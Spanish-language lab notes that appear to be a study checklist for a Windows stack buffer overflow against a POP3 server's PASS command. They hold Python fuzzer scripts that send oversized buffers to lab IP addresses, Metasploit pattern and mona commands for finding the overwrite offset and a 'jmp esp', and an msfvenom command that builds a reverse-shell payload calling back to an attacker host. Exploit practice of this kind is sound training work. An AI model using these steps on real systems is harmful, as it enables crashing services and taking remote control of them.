Preguntas iniciales.

Qué arquitectura de Windows es? 32?

1 Replica el crash

https://lingojam.com/ByteCounter

2 Velo en Wirershark y en el debugger

3 Replicalo en python con el fuzzer para encontrar el numero del crash

#!/usr/bin/env python2
import socket

# Generate an array of buffers, from 1 to 5900, with increments of 200

buffer=["A"]
counter = 100
while len(buffer) <= 30:
   buffer.append("A" * counter)
   counter = counter + 200

for string in buffer:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connect = s.connect(('172.16.138.135',110))
   s.recv(1024)
   s.send('USER test\r\n')
   s.recv(1024)
   s.send('PASS ' + string + '\r\n')
   s.send('QUIT\r\n')
   print "Fuzzing PASS with %s bytes" % len(string)
   s.close()

4 Usa el Fuzzer con A´s

#!/usr/bin/env python2
import socket

string = "A" * 2700

print "Fuzzing PASS with %s bytes" % len(string)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('172.16.138.132',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()

5 Usa metasploit para encontrar el punto exacto del problema

root@kali:~# msf-pattern_create -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0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Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce ...

6 Inserta BBBB y CCCC despues

7 revisa que el numero de C sea más de 400 bytes

8 Encuentra bad characters

https://mexicanpentester.com/2019/11/23/buffer-overflow-bad-characters-con-mona-en-espanol/

9 Encuentra el jmp esp, gira la dirección y pasalo a hex. (APUNTA LAS OTRAS OPCIONES)

!mona find -s "\xff\xe4"

10 Prueba que llegue al de arriba

11 MSFvenom

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.138.129 LPORT=443 -f c -b "\x00\x0a\x0d"--smallest -n 16 EXITFUNC=thread

 

 

good video tutorial https://tcm-sec.com/2019/05/25/buffer-overflows-made-easy/